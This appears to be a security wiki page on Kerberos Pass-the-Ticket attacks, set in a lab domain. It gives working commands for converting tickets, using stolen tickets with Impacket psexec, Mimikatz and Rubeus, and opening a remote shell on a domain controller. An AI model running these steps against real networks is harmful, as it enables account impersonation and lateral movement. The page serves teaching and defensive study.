Pass the Ticket
Overview
In a Pass-the-Ticket (PtT) attack, an adversary uses a stolen Kerberos ticket to authenticate as the ticket’s principal without possessing that account’s password. A ticket-granting ticket (TGT) can be used to request service tickets, while a stolen service ticket is limited to its target service and validity period.[1]
For ticket acquisition techniques, see:
Converting Linux and Windows Ticket Formats
Kerberos caches commonly appear as MIT ccache files on Linux and .kirbi files on Windows. ticket_converter converts between these formats using an input ticket and output path.[2]
python ticket_converter.py velociraptor.ccache velociraptor.kirbi
# Expected message: Converting ccache => kirbi
python ticket_converter.py velociraptor.kirbi velociraptor.ccache
# Expected message: Converting kirbi => ccacheKekeo also provides Kerberos ticket tooling on Windows.[3]
Using a Ticket
On Linux, point KRB5CCNAME to the cache and instruct an Impacket client to use Kerberos without prompting for a password:[4]
export KRB5CCNAME=/root/impacket-examples/krb5cc_1120601113_ZFxZpK
python psexec.py jurassic.park/trex@labwws02.jurassic.park -k -no-passOn Windows, Mimikatz or Rubeus can import a .kirbi ticket into the current logon session. Use klist to inspect the resulting cache.[5][6]
mimikatz.exe "kerberos::ptt [0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi"
.\Rubeus.exe ptt /ticket:'[0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi'
klist
.\PsExec.exe -accepteula \\lab-wdc01.jurassic.park cmdTicket import does not grant privileges beyond those represented by the ticket and the target service’s authorization policy. Expired, revoked, malformed, or incorrectly scoped tickets may fail.[1]
For broader Kerberos attack context and related ticket-acquisition techniques, see Tarlogic’s Kerberos attack guide.[7]